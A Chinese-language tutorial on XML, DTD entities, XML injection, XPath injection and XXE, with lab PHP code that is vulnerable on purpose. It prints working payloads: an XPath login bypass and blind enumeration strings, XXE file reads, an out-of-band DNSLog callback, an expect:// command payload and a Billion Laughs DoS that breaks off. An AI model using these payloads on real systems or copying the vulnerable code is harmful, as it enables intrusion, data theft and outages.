XML注入漏洞
1.基础知识
1.1 XML 简介
XML(eXtensible Markup Language,可扩展标记语言)是一种用于描述、存储和传输结构化数据的标记语言,其核心目标并非展示数据,而是表达数据及其层级关系。
XML 常见应用场景包括:
- 配置文件(如 Spring、Struts2 等)
- 数据交换格式(RSS、SOAP)
- 文档与元数据描述(PDF、Office)
- 图像与矢量格式(SVG Header)
XML 的语法规范主要由 DTD(Document Type Definition) 进行约束。
XML 与 HTML 的区别
| 对比维度 | XML | HTML |
|---|---|---|
| 设计目的 | 数据存储与传输 | 数据展示 |
| 关注重点 | 数据内容与结构 | 页面外观 |
| 标签 | 自定义 | 预定义 |
目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。 XML 的语法规范由 DTD (Document Type Definition)来进行控制。
现实生活中一些数据之间往往存在一定的关系。我们希望能在计算机中保存和处理这些数据的同时能够保存和处理他们之间的关系。XML就是为了解决这样的需求而产生数据存储格式。
简单来说:
XML 就像一本“数据说明书”,用标签把信息组织好,方便计算机存储和传输;HTML 则像一本“网页书”,用标签告诉浏览器内容怎么显示给人看。
1.2 XML 基本结构
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!--xml 文件的声明 -->
<bookstore> <!-- 根元素 -->
<book category="COOKING"> <!--bookstore 的子元素, category 为属性 -->
<title>Everyday Italian</title> <!--book 的子元素 -->
<author>Giada De Laurentiis</author> <!--book 的子元素 -->
<year>2005</year> <!--book 的子元素 -->
<price>30.00</price> <!--book 的子元素 -->
</book> <!--book 的结束 -->
</bookstore> <!--bookstore 的结束 -->
XML 声明(XML Prolog)是可选的,必须放在文档开头。
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
- version:XML 版本号
- encoding:字符编码
- standalone:
yes:DTD 仅用于结构校验,理论上不依赖外部实体no(默认):允许依赖外部 DTD
说明:部分解析器会忽略
standalone属性,该字段本身并不构成安全保证。

1.3 XML 基本语法规则
- XML 标签必须成对出现
- 标签大小写敏感
- 元素必须正确嵌套
- 文档必须且只能有一个根元素
- 属性值必须使用引号包裹
1.3.1 CDATA
用于存放不需要被 XML 解析器解释的原始文本内容:
<![CDATA[ 内容 ]]>
CDATA 中的特殊字符(如 < > & ' ")不会被当作标签或实体处理。
比如你有一段文本里面包含很多特殊字符(比如 <、>、& 等),而你不想让 XML 解析器把它们当作标签或实体去解析,就可以把整段文本放到 里,这样解析器会把它当作原始文本处理,不做解析,也不用一个一个手动转义。
示例:
<message>
<![CDATA[
Hello <user> & welcome! 1 < 2 & 3 > 0
]]>
</message>
这里的 、& 等不会被解析成标签或实体,直接作为文本内容保留。
简单理解:CDATA 就是给 XML 的“原样文本盒子”。
1.3.2 PCDATA
PCDATA(Parsed Character Data)是 XML 中普通文本的标记方式,会被解析器解析。特殊字符如 < > & ' " 必须使用实体转义,否则会被解析器当作标签或语法错误。
示例:
<message>
Hello <user> & welcome!
</message>
1.3.3 PCDATA 与 CDATA 区别
| 类型 | 是否解析 | 说明 |
|---|---|---|
| PCDATA | 会解析 | 普通文本,特殊字符需转义 |
| CDATA | 不解析 | 原始文本块 |
1.4 DTD(Document Type Definition)
DTD 用于定义 XML 文档的合法结构,主要包括:
- 元素及其嵌套关系
- 属性规则
- 实体定义
通俗来说,DTD 就像 XML 的“规则书”或者“模板说明书”。
- 它告诉 XML 文档允许有哪些标签(元素)
- 标签里面可以放什么(文本、子标签或者空)
- 标签可以有什么属性,这些属性值有哪些要求(必须有、可选、固定值)
- 甚至可以定义“快捷方式”(实体)方便复用
就像写合同或者表格一样,你提前写好规则,XML 文档就必须按照这些规则来写,否则解析器会报错。
举个简单比喻:
- XML 文档 = 填写好的表格
- DTD = 表格模板 + 规则说明(哪些格子必须填,哪些可以不填,填什么类型的数据)
所以 DTD 的核心作用就是约束 XML 的结构和内容。
DTD 可分为 内部 DTD 和 外部 DTD。
1.4.1 内部 DTD
使用内部的dtd文件,即将约束规则定义在xml文档中
<!DOCTYPE 根元素名称 [ 元素声明 ]>
示例代码:
]>
Y0u
@re
v3ry
g00d !

将body改为CDATA
]>
Y0u
@re
v3ry

解析器解析 XML 时,会把 中的内容当作 普通文本 返回给程序
特殊字符 < > & 不会被当作标签或实体解析
CDATA 只影响 解析器处理文本的方式,和浏览器显示没关系
如果你用 程序解析 XML(比如 Python 的 ElementTree、PHP 的 SimpleXML),得到的 内容就是:
g00d ! < & > characters
而不会带
1.4.2 外部 DTD
DTD 定义在独立文件中,通过 SYSTEM 或 PUBLIC 引入:
示例: 编写test.dtd文件
XML中导入DTD
Y0u
@re
v3ry
g00d!
CDATA和PCDATA是XML中的两种区分文本的方式。
- CDATA是指将文本内容包含在<![CDATA[ ]]>标记中,表示此段文本不需要被解析器解释,而是直接作为原始文本进行处理。CDATA内可以包含特殊字符如<, >, &, '等,这些字符不会被看作标记或实体,而只是作为文本内容。
- PCDATA是指常规文本内容,即没有<![CDATA[ ]]>标记的文本内容,会被XML解析器解释并根据其规则进行处理。但是,XML中的一些特殊字符必须被转义,例如字符"<", ">", "&"、"'"、""",否则会与标记混淆。
CDTA和PCDATA的区别在于CDATA内的内容不会被XML解析器解析,而PCDATA的内容需要被解析器解析。
1.4.3 DTD 元素(DTD Element)
在 DTD 中,元素通过元素声明(Element Declaration)进行定义。
1.4.3.1 元素声明的基本语法
DTD 中声明 XML 元素时,通常使用如下两种语法之一:
或:
其中:
element-name为元素名称category或element-content用于描述元素允许的内容模型
1.4.3.2 空元素(EMPTY)
空元素是指元素本身不包含任何内容。
空元素通过关键字 EMPTY 进行声明:
示例:
对应的 XML 示例中,该元素不能包含任何子节点或文本。
1.4.3.3 仅包含 PCDATA 的元素
如果一个元素只允许包含解析字符数据(PCDATA),则需在圆括号中使用 #PCDATA 进行声明:
示例:
1.4.3.4 可包含任意内容的元素(ANY)
通过关键字 ANY 声明的元素,可以包含任意合法的可解析数据组合,包括子元素、文本等:
示例:
1.4.3.5 带有子元素(序列)的元素
若元素由一个或多个子元素构成,需要在圆括号中声明其子元素:
或:
示例:
子元素顺序规则
- 当子元素使用逗号(
,)进行声明时,子元素必须严格按照声明顺序出现在 XML 文档中。 - 在一个完整的 DTD 中,被引用的子元素本身也必须进行声明。
- 子元素同样可以继续拥有自己的子元素。
例如,note 元素的完整声明如下:
1.4.4 DTD 属性(DTD Attribute)
1.4.4.1 属性声明语法
DTD 中,属性通过 进行声明,其基本语法为:
<!ATTLIST 元素名称 属性名称 属性类型 属性默认值 >
1.4.4.2 属性声明示例
DTD 示例:
XML 示例:
1.4.4.3 属性类型(Attribute Types)
DTD 支持多种属性类型,常见如下:
| 类型 | 描述 | ||
|---|---|---|---|
| CDATA | 值为字符数据(Character Data) | ||
| (en1\ | en2\ | ...) | 枚举值,只能取列表中的一个 |
| ID | 唯一的 ID 值 | ||
| IDREF | 引用另一个元素的 ID | ||
| IDREFS | 引用多个 ID 的列表 | ||
| NMTOKEN | 合法的 XML 名称 | ||
| NMTOKENS | XML 名称列表 | ||
| ENTITY | 一个实体 | ||
| ENTITIES | 实体列表 | ||
| NOTATION | 符号名称 | ||
| xml: | 预定义的 XML 值 |
1.4.4.4 默认属性值(Default Attribute Value)
属性默认值可以使用以下形式之一:
| 值 | 含义说明 |
|---|---|
| value | 指定属性默认值 |
| #REQUIRED | 属性必须出现 |
| #IMPLIED | 属性可选 |
| #FIXED value | 属性值固定 |
1.4.4.5 属性声明综合示例
DTD:
合法的 XML:
<square width="100" />
说明:
square被声明为空元素- 拥有一个
CDATA类型的width属性 - 若未显式指定
width,则默认值为0
1.4.5 属性默认值关键字
1.4.5.1 #REQUIRED(必须属性)
DTD:
<!ATTLIST person number CDATA #REQUIRED>
合法 XML:
<person number="5677" />
非法 XML:
<person />
当不设置默认值,但必须要求提供属性值时,应使用 #REQUIRED。
1.4.5.2 #IMPLIED(可选属性)
DTD:
<!ATTLIST contact fax CDATA #IMPLIED>
合法 XML:
<contact fax="555-667788" />
<contact />
当属性不是必须项,且没有默认值需求时,应使用 #IMPLIED。
1.4.5.3 #FIXED(固定属性值)
DTD:
<!ATTLIST sender company CDATA #FIXED "Microsoft">
合法 XML:
<sender company="Microsoft" />
非法 XML:
<sender company="W3Schools" />
#FIXED 用于指定属性值只能是某一个固定值,否则 XML 解析器将报错。
1.4.5.4 列举(枚举)属性值
DTD:
<!ATTLIST payment type (check|cash) "cash">
合法 XML 示例:
<payment type="check" />
或:
<payment type="cash" />
当属性值只能从一组固定合法值中选择时,应使用枚举类型。
1.5 DTD 实体(DTD Entity)
1.5.1 实体基本概念
- 实体用于定义普通文本或特殊字符的快捷引用
- 实体引用是对实体的调用
- 实体可以在 DTD 内部或外部声明
可以把 DTD 实体 理解为: 在 XML 里提前定义好的“文本变量”或“替换符号”。
也就是说,你先在 DTD 中给一段内容起一个名字,之后在 XML 或 DTD 中,只要写这个名字,解析器就会自动把它替换成对应的内容。
1.5.2 按是否带参分类
1.5.2.1 一般实体(General Entity)
声明方式
<!ENTITY 实体名称 "实体内容">
引用方式
&实体名称;
一般实体具有以下特点:
- 可在 DTD 中引用
- 可在 XML 文档中引用
- 可以在声明前引用
- 可以在实体声明内部互相引用
示例(一般实体的实际使用)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ENTITY company "Example Corp">
<!ENTITY slogan "Security First">
]>
<message>
<name>&company;</name>
<desc>&slogan;</desc>
</message>
解析后效果为:
<name>Example Corp</name>
<desc>Security First</desc>
这个例子中:
company和slogan是一般实体- 使用
&实体名;的方式进行引用 - 实体内容在解析阶段被直接替换进 XML 文档
1.5.2.2 参数实体(Parameter Entity)
声明方式
<!ENTITY % 实体名称 "实体内容">
引用方式
%实体名称;
参数实体的限制:
- 只能在 DTD 中引用
- 不能在声明前引用
- 不能在实体声明内部引用
示例(参数实体只能在 DTD 中使用)
]>
Bob
在这个例子中:
%author是一个参数实体- 它只能在 DTD 内部被引用
- 用
%author;的形式进行展开 - 解析时,DTD 实际会变成:
为什么 XML 中不能用参数实体
如果你在 XML 文档中这样写:
%author;
这是非法的,因为:
%author;属于参数实体- 参数实体不会在 XML 正文中被解析
- 只能在
的 DTD 部分使用
标准写法
]>
1.5.3 按使用方式分类
1.5.3.1 内部实体
<!ENTITY 实体名称 "实体的值">
示例:
]>
&writer; ©©right;
1.5.3.2 外部实体
外部实体用于引入外部资源,通过 SYSTEM 或 PUBLIC 关键字声明:
<!ENTITY 实体名称 SYSTEM "URI/URL">
或:
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
示例:
]>
&file;©©right;
外部实体支持多种协议,如 file、http 等,不同解析器支持的协议不同。
1.5.4 不同环境对外部实体协议的支持情况
1.5.4.1 libxml2 / PHP / Java / .NET 支持情况
| libxml2 | php | java | .NET |
|---|---|---|---|
| file | file | http | file |
| http | http | https | http |
| ftp | ftp | ftp | https |
| php | file | ftp | |
| compress.zlib | jar | ||
| compress.bzip2 | netdoc | ||
| data | mailto | ||
| glob | gopher * | ||
| phar |
1.5.4.2 PHP 扩展与协议支持
PHP支持的协议会更多一些,但需要一定的扩展
| 协议 | 依赖扩展 | 典型用途 |
|---|---|---|
| file:// | core | 任意文件读取 |
| php://filter | core | 源码读取 / base64 |
| http:// | core / openssl | SSRF |
| https:// | openssl | SSRF |
| ftp:// | ftp | SSRF / 文件 |
| zip:// | zip | 压缩包读取 |
| phar:// | phar | 反序列化 |
| ssh2.sftp:// | ssh2 | 远程文件 |
| expect:// | expect | 命令执行 |
1.5.5 PHP 中常见的外部实体利用协议
file:// 文件绝对路径,例如:file:///etc/passwd
http://url/file.txt
php://filter/read=convert.base64-encode/resource=xxx.php
1.5.6 参数实体的外部引用示例
1.5.6.1 语法
<!ENTITY % 实体名称 SYSTEM "URI/URL">
1.5.6.2 示例
%file;
]>
说明:
%file;:参数实体,只能在 DTD 中引用&file;:一般实体,在 XML 文档中引用
2. XML 注入(XML Injection)
XML 的设计初衷是用于数据的组织与传输,而不是用于展示。 在很多应用场景中,程序会将用户输入的数据直接拼接进 XML 文档,再进行存储或解析。如果对用户输入缺乏有效校验和处理,就可能引入 XML 注入漏洞。
XML 注入是一种较早出现的注入类攻击,其核心思想与 HTML 注入、SQL 注入类似: 通过构造特殊输入,破坏原有数据结构,并插入攻击者控制的新结构。
2.1 XML 注入原理说明
XML 本质上是一种树形数据结构,其安全性依赖于结构的完整性。当程序将用户输入直接作为 XML 节点内容拼接时:
- 正常情况下,用户输入只应作为文本数据
- 但如果输入中包含 XML 标签(如
、) - 就可能破坏原有标签边界
- 从而改变 XML 的结构,甚至插入新的节点或数据
如果程序没有对这些“结构性字符”进行过滤或转义,就会导致 XML 注入攻击。
2.2 XML 注入的前提条件
XML 注入的产生通常需要满足以下两个条件:
- 用户能够控制部分输入数据
- 程序将用户输入直接拼接进 XML 文档中
只要这两个条件同时存在,且未做安全处理,就存在 XML 注入风险。
2.3 XML 注入示例分析
2.3.1 原始 XML 文件(test.xml)
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<username>admin</username>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
</manager>
假设该 XML 文件用于存储管理员账户信息,且程序在写入 password 节点时,直接拼接用户输入内容。
2.3.2 攻击者可控输入
如果攻击者能够控制 password 字段,并构造如下输入:
admin</password></admin><admin id="3"><name>hack</name>
<password>hacker
该输入中包含:
- 提前闭合原有的
和标签 - 新增一个完整的
节点
2.3.3 注入后的 XML 结果
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<username>admin</username>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>admin</password>
</admin>
<admin id="3">
<name>hack</name>
<password>hacker</password>
</admin>
</manager>
可以看到,攻击者成功:
- 破坏了原有 XML 结构
- 插入了一个新的管理员节点
- 相当于在系统中新增了一个账号
2.4 XML 注入的核心要素
XML 注入通常依赖两个关键点:
- 标签闭合能力
通过构造
提前结束原有节点 - 对 XML 结构的理解 攻击者需要了解或猜测 XML 的整体结构,才能成功插入合法的新节点
2.5 XML 注入防御措施
针对 XML 注入,常见防御手段包括:
- 严格过滤用户输入
禁止或限制
<、>、/等影响 XML 结构的字符 - 对用户输入进行转义
将特殊字符转换为安全的实体形式,如:
<→<>→>
- 避免字符串拼接生成 XML 尽量使用 XML DOM、序列化库等方式构造 XML 文档
2.6 为什么 XML 注入在现实环境中较少见
虽然从原理上看,XML 注入可以直接修改 XML 结构,甚至插入新的业务数据,但在真实应用环境中,这类漏洞实际利用难度较高,出现频率也明显低于其他注入类漏洞,主要原因包括以下几点。
2.6.1 现代开发方式已很少直接拼接 XML
早期应用中,开发者常使用字符串拼接的方式生成 XML 文档,这为 XML 注入提供了土壤。但在现代开发实践中:
- 更常使用 DOM、SAX、StAX 等 XML API
- 或通过对象序列化、模板引擎自动生成 XML
- 用户输入通常只会被当作“节点值”,而非结构的一部分
这种开发方式天然隔离了数据与结构,大幅降低了 XML 注入的出现概率。
2.6.2 攻击者难以掌握完整 XML 结构
成功的 XML 注入通常需要攻击者:
- 精确知道 XML 的层级关系
- 明确当前输入点所处的标签位置
- 正确闭合前后标签,保证注入后的 XML 仍然是合法结构
在实际环境中:
- XML 文件结构往往不可见
- 错误信息通常被隐藏
- 一旦结构不合法,解析直接失败
这使得攻击者很难构造可用的注入 payload。
2.6.3 输入点往往处于非结构性位置
在大多数业务中:
- 用户输入只会出现在 文本节点 或 属性值
- 并且通常会经过编码或转义处理
- 很少直接出现在“标签边界”附近
这意味着即使存在拼接,也不一定具备标签闭合条件,从而限制了利用空间。
2.6.4 业务价值和攻击收益有限
与 SQL 注入、XXE 等漏洞相比:
- XML 注入往往只能影响当前 XML 文件
- 很难直接获取系统权限
- 更多是逻辑层面的数据篡改
在安全测试和真实攻击中,这类漏洞投入产出比偏低,自然不再是主流攻击目标。
2.6.5被其他漏洞形式“取代”
在实际场景中,XML 注入的攻击面往往被以下漏洞覆盖或替代:
- XXE(XML External Entity)
- 反序列化漏洞
- JSON 注入 / 参数污染
- 逻辑漏洞
3.XPath 注入(XPath Injection)
XPath 注入是一种针对 使用 XPath 语言查询 XML 数据的 Web 应用 的注入攻击方式。 其本质与 SQL 注入类似,都是由于程序在构造查询语句时直接拼接用户输入,导致攻击者可以注入额外的查询逻辑,从而绕过认证或读取敏感数据。
XPath 注入利用了 XPath 解析器对输入的容错性和灵活查询能力,攻击者可以在 URL、表单或其他输入位置注入恶意 XPath 语句,最终实现:
- 绕过身份认证
- 读取受限数据
- 枚举并获取整个 XML 文档内容
- 在特定场景下篡改或破坏 XML 数据
当 XML 被用作账户信息、权限配置或业务数据存储时,XPath 注入的危害尤为明显。
3.1 XPath 注入产生的原因
XPath 注入通常发生在以下场景:
- 应用程序使用 XML 文件作为“数据库”
- 使用 XPath 查询 XML 数据
- XPath 查询语句由字符串拼接方式构造
- 用户输入内容未经过校验或转义
攻击者通过不断试探输入,逐步掌握 XPath 查询结构,从而构造恶意查询语句,实现越权访问。
3.2 XPath 注入的攻击特点
XPath 注入主要利用以下两类技术:
- XPath 扫描(XPath Enumeration) 用于探测 XML 的结构、节点数量和名称
- XPath 查询布尔化(Boolean-based XPath Injection) 通过构造真假条件,判断 XPath 查询是否成立,进而进行盲注
该攻击方式可有效针对:
- 身份认证逻辑
- 用户信息查询
- 权限判断
- XML 配置文件读取
3.2.1 与 SQL 注入的对比优势
3.2.1.1 广泛性
只要 Web 应用使用 XPath 查询 XML 数据,且未对输入做严格处理,就可能存在 XPath 注入漏洞。
相比之下:
- SQL 注入受数据库类型、SQL 方言影响较大
- XPath 注入语法相对统一,攻击方式更通用
3.2.1.2 危害性更集中
XPath 几乎没有访问控制的概念:
- XPath 查询可以直接遍历整个 XML 文档
- 不存在“表级、列级权限”
- 一旦注入成功,攻击者通常可读取完整 XML 数据
而在 SQL 注入中,数据库权限往往会限制攻击范围。
3.3 XPath 注入原理说明
XPath 注入的注入对象不是传统数据库表,而是一个 XML 文件。 当程序将用户输入直接拼接进 XPath 查询语句时,攻击者就可以通过构造特殊输入,改变查询逻辑。
XPath 注入可能出现在以下位置:
- URL 参数
- 表单参数
- Cookie
- HTTP Header
- Request Body
只要这些输入被用于拼接 XPath 查询,就可能成为注入点。
3.4 示例分析
3.4.1 XML 数据文件(test.xml)
<?xml version="1.0" encoding="UTF-8"?>
<root>
<users>
<user>
<id >1</id>
<username>test1</username>
<password>test1</password>
</user>
<user>
<id>2</id>
<username>test2</username>
<password>test2</password>
</user>
</users>
</root>
3.4.2 PHP 代码(test.php)
该页面用于接收用户名和密码,并通过 XPath 查询 XML 文件进行认证。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<center>
<form action="">
<h1>登陆</h1>
<input type="text" name="name" placeholder="用户名"><br>
<input type="password" name="pwd" placeholder="密码"><br>
<input type="submit" value="登陆">
</form>
</center>
</body>
</html>
<?php
if (!isset($_GET['name']) || !isset($_GET['pwd'])) {
die();
}
$xml = simplexml_load_file('test.xml');
$name = $_GET['name'];
$pwd = $_GET['pwd'];
$query = "/root/users/user[username/text()='" . $name . "' and password/text()='" . $pwd . "']";
echo $query;
$result = $xml->xpath($query);
if ($result) {
echo '<h2>Welcome</h2>';
foreach ($result as $key => $value) {
echo '
ID:' . $value->id;
echo '
Username:' . $value->username;
}
}else{
echo '<h2>用户名密码错误</h2>';
}
?>
simplexml_load_file() 用于将 XML 文件解析为 SimpleXMLElement 对象,并支持通过 xpath() 方法执行 XPath 查询。
3.4.3 注入利用示例(认证绕过)
攻击者在 username 字段输入:
' or 1=1 or ''='
此时构造的 XPath 查询逻辑等价于:
username = '' OR 1=1
该条件永远为真,导致 XPath 查询返回结果,从而绕过登录验证。
3.5 XPath 盲注(XPath Blind Injection)
当应用:
- 不直接回显查询结果
- 仅根据查询是否成功返回不同页面
攻击者可以通过 布尔盲注 的方式逐步枚举 XML 文档结构。
3.5.1 枚举根节点
判断是否存在根节点:
' or count(/*)=1 or '1'='2
有返回结果,说明存在一个根节点。
猜解根节点名称:
' or substring(name(/*[position()=1]),1,1)='r' or '1'='2
若页面返回 Welcome,说明猜测正确。
3.5.2 枚举子节点
判断 root 下一级节点数量:
' or count(/root/*)=1 or '1'='2
猜解子节点名称:
' or substring(name(/root/*[position()=1]),1,1)='u' or '1'='2
重复该过程,可逐步枚举完整 XML 结构,最终读取节点数据或属性值。
3.6 XPath 注入攻击危害
- 绕过身份认证和权限校验
- 获取受限 XML 数据
- 枚举并读取完整 XML 文档
- 破坏系统业务逻辑
由于 XML 本身没有权限控制模型,一旦 XPath 查询被控制,整个数据文件往往都会暴露。
3.7 XPath 注入防御措施
- 对所有用户输入进行严格校验
- 过滤或转义 XPath 关键字符(如
' " [ ] /) - 隐藏详细错误信息,避免泄露 XPath 结构
- 使用参数化 XPath 查询,避免字符串拼接
- 对敏感数据和传输过程进行加密(如 HTTPS)
3.8 XPath 注入现代化也比较少见
3.8.1 根本原因:XML / XPath 的使用场景在萎缩
业务层面已很少用 XML 做“核心数据存储”
XPath 注入成立的前提是:
应用把 XML 当数据库用,并通过 XPath 动态查询
但在现实中:
- 早期(2005–2015)
- XML 常被用来存:
- 用户账号
- 配置
- 业务数据
- XML 常被用来存:
- 现在(主流 Web)
- 账号 / 业务数据 → MySQL / PostgreSQL / MongoDB
- 接口数据 → JSON
- 配置 → YAML / JSON / ENV
XML + XPath 现在主要存在于:
- 老系统
- 配置文件
- SOAP / SAML / 某些政企系统
“不再作为数据库”,直接掐死了 XPath 注入的主战场
3.8.2 现实中很难“写出”可注入的 XPath
XPath 注入的开发错误成本更高
SQL 注入常见的错误模式是:
$sql = "select * from users where u='$u' and p='$p'";
而 XPath 注入通常需要:
$query = "/users/user[username/text()='$u' and password/text()='$p']";
问题在于:
- XPath 语法 更“脆”
- 稍微:
- 多一个引号
- 节点路径写死
- 使用固定位置索引
- 注入就会直接 XPath 语法错误
很多现实项目中:
- XPath 查询是写死的模板
- 用户输入只作为
text()对比值 - 稍有不当就直接报错 → 开发者会修
不像 SQL 那样“容错高 + 容易拼接成功”
3.8.3 盲注成本极高,不适合现代化真实攻击
XPath 注入几乎只能靠“盲注”
count(/*)substring(name())position()
XPath 注入在真实环境中 ≈ 纯盲注
现实影响:
- 每猜一个字符 → 一次请求
- XML 层级深时 → 成百上千请求
- 没有:
- 错误回显
- union
- select *
而现实攻击者更偏好:
- SQL 注入(回显、堆叠、时间)
- SSRF
- 反序列化
- 逻辑漏洞
攻击收益 / 成本比极低
3.8.4 XML 相关漏洞被“重点加固”过
XML 曾经是漏洞重灾区:
- XXE
- XPath 注入
- XSLT 注入
- Entity Expansion(Billion Laughs)
因此:
- 默认禁用外部实体
- 解析器越来越严格
- 官方文档反复强调:
- 不拼接 XPath
- 使用变量 / 过滤
例如:
- Java:
XPathExpression+ 参数绑定 - PHP:SimpleXML 本身功能有限
- 框架层已经封装好
开发人员对 XML 的“警惕程度”远高于 JSON
4. XML 外部实体注入(XXE)
4.1 XXE 漏洞简介
- XXE 漏洞全称 XML External Entity Injection(XML 外部实体注入)。
- XXE 漏洞发生在应用程序解析 XML 输入时,未禁止外部实体的加载,从而允许解析器加载恶意构造的外部资源。
- 利用 XXE 漏洞,攻击者可能实现:
- 任意文件读取
- 命令执行(依赖协议/扩展)
- 内网端口扫描
- 攻击内网网站(SSRF)
- 拒绝服务攻击(DoS)
- XXE 漏洞常见触发点:
- 可上传 XML 文件的位置
- 使用 XML 作为数据交换格式的接口
- 服务端未对 XML 内容做安全限制
- 在 PHP 中,XML 解析主要依赖
libxml库:libxml >= 2.9.0默认加强了 XXE 安全,但错误使用仍可产生漏洞
simplexml_load_string()、DOMDocument::loadXML()等函数均可触发 XXE。
4.2 测试环境搭建
现有 xxe.php 文件代码如下:
<?php
libxml_disable_entity_loader(false); // 显式允许实体加载
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML(
$xmlfile,
LIBXML_NOENT | LIBXML_DTDLOAD
);
$xml = simplexml_import_dom($dom);
echo $xml->xxe;
?>
4.2.1 代码说明
file_get_contents('php://input')获取客户端提交的原始 XML 数据new DOMDocument()初始化 XML 解析器loadXML($xmlfile)加载并解析 XML 内容simplexml_import_dom($dom)将 DOM 转换为 SimpleXMLElement 对象$xml->xxe获取 XML 中节点的内容并在下一步输出
4.2.2 XXE 漏洞验证示例
提交如下 XML 数据:
POST /xxe.php HTTP/1.1
Host: 192.168.31.182
Content-Type: application/xml
Content-Length: 149
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY file SYSTEM "file:///C:/Windows/win.ini">
]>
<xml>
<xxe>&file;</xxe>
</xml>
解析后,&file; 被替换为本地文件内容,实现 任意文件读取。

4.2.3 PHP 警告说明
Automatically populating $HTTP_RAW_POST_DATA is deprecated...
这是 PHP 5.6+ 的警告信息,说明:
$HTTP_RAW_POST_DATA已被弃用- 推荐使用
php://input获取原始 POST 数据 - 可通过设置
always_populate_raw_post_data = -1解决,或降低 PHP 版本
4.3 XXE 常见利用方式
与 SQL 注入类似,XXE 也分为:
- 有回显 XXE
- 无回显 XXE(Blind XXE)
无回显场景通常需要 外带数据(OOB) 技术。
4.3.1 任意文件读取
存在 XXE 漏洞的示例代码(xxe1.php):
<?php
// PHP 5.5:默认允许外部实体(不需要这行也能成功)
libxml_disable_entity_loader(false);
// 从原始请求体读取 XML
$xml = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML(
$xml,
LIBXML_NOENT | LIBXML_DTDLOAD
);
// 直接回显整个文档文本内容
echo $dom->textContent;
?>
构造 Payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<a>&xxe;</a>
POST发送,即可读取目标文件内容(用最简请求头)。
POST /xxe1.php HTTP/1.1
Host: 192.168.31.182
Content-Type: application/xml
Content-Length: 124
]>
&xxe;
4.3.2 无回显 XXE
在真实业务场景中,XXE 漏洞往往没有回显,即服务端不会将解析后的 XML 内容直接输出到页面。这种情况下,需要通过 外带通道(Out-Of-Band, OOB) 来验证和利用漏洞,DNSLog 是其中最常见、最稳定的一种方式。
无回显 XXE 的核心思路是: 诱使 XML 解析器在解析外部实体时,主动向攻击者控制的域名发起请求,从而在 DNS 日志中观察到解析行为。
4.3.2.1 无回显示例代码(xxe2.php)
<?php
libxml_disable_entity_loader(false);
// 从原始请求体读取 XML
$xml = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML(
$xml,
LIBXML_NOENT | LIBXML_DTDLOAD
);
// 不做任何输出
// 页面表现为空白,但 XML 已被解析
?>
该代码中虽然没有任何 echo / print 输出,但由于开启了 LIBXML_NOENT | LIBXML_DTDLOAD,外部实体依然会被解析和加载,漏洞依旧存在。
4.3.2.2 DNSLog 探测 Payload(验证 XXE 是否存在)
可以使用在线的DNSLog 域名:
cd508f8ab4.ddns.1433.eu.org
构造如下 Payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY xxe SYSTEM "http://cd508f8ab4.ddns.1433.eu.org">
]>
<a>&xxe;</a>
4.3.2.3 发送请求
POST /xxe2.php HTTP/1.1
Host: 192.168.31.182
Content-Type: application/xml
Content-Length: 133
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY xxe SYSTEM "http://cd508f8ab4.ddns.1433.eu.org.">
]>
<a>&xxe;</a>
4.3.2.4 成功判定方式
- 页面:无任何回显
- DNSLog 平台:收到对
cd508f8ab4.ddns.1433.eu.org的解析记录
只要 DNSLog 上出现请求,即可确认:
目标存在 无回显 XXE 漏洞

4.3.2.5 DNSLog + 文件读取
由于 DNS 协议对数据长度和字符集限制较大,无法直接通过 DNS 完整带出文件内容,但可以用于:
- 验证 XXE 是否存在
- 判断目标是否允许外联
- 配合 HTTP OOB 或参数化拆分进行进一步利用
在实战中,常见流程为:
- DNSLog 探测确认 XXE
- HTTP OOB 外带文件内容(如 php://filter + 外部 DTD)
- 再结合内网探测、SSRF 等漏洞进行横向利用
4.3.2.6 结合外部恶意dtd
见下方xxelab无回显利用
4.3.3 执行系统命令(有限条件)
在 PHP 安装 expect 扩展的环境中:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id">]>
<root>
<name>&xxe;</name>
</root>
说明:
- XXE 实现 RCE 的场景 非常少
- 强依赖协议与解析环境
4.3.4 拒绝服务攻击(DoS)
4.3.4.1 Billion Laughs 攻击
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
